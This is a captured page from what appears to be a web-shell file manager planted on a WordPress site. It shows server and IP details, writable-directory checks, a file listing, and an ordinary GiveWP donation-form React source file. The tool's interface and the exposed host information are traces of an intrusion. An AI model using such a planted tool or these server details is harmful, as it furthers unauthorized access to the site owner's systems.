$45 GRAYBYTE WORDPRESS FILE MANAGER $30

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.216.51
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/itiministry.org/plugins/give/src/DonationForms/resources/app/store/

HOME
Current File : /home/bravetechrwanda/itiministry.org/plugins/give/src/DonationForms/resources/app/store//index.tsx
import {createContext, ReactNode, useContext, useReducer} from 'react';
import type {Gateway} from '@givewp/forms/types';
import reducer from '@givewp/forms/app/store/reducer';
import {ObjectSchema} from 'joi';

const StoreContext = createContext(null);
StoreContext.displayName = 'DonationFormState';

const StoreContextDispatch = createContext(null);
StoreContextDispatch.displayName = 'DonationFormStateDispatch';

type PropTypes = {
    initialState: {
        gateways: Gateway[];
        defaultValues: object;
        validationSchema: ObjectSchema;
    };
    children: ReactNode;
};

/**
 * @since 3.0.0
 */
const DonationFormStateProvider = ({initialState, children}: PropTypes) => {
    const [state, dispatch] = useReducer(reducer, initialState);

    return (
        <StoreContext.Provider value={state}>
            <StoreContextDispatch.Provider value={dispatch}>{children}</StoreContextDispatch.Provider>
        </StoreContext.Provider>
    );
};

const useDonationFormState = () => useContext<PropTypes['initialState']>(StoreContext);
const useDonationFormStateDispatch = () => useContext(StoreContextDispatch);

export {DonationFormStateProvider, useDonationFormState, useDonationFormStateDispatch};

Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
donation-summary
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
form-settings
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
index.tsx
1.191 KB
16 Oct 2023 9.55 PM
bravetechrwanda / bravetechrwanda
0644
reducer.ts
0.573 KB
16 Oct 2023 9.55 PM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF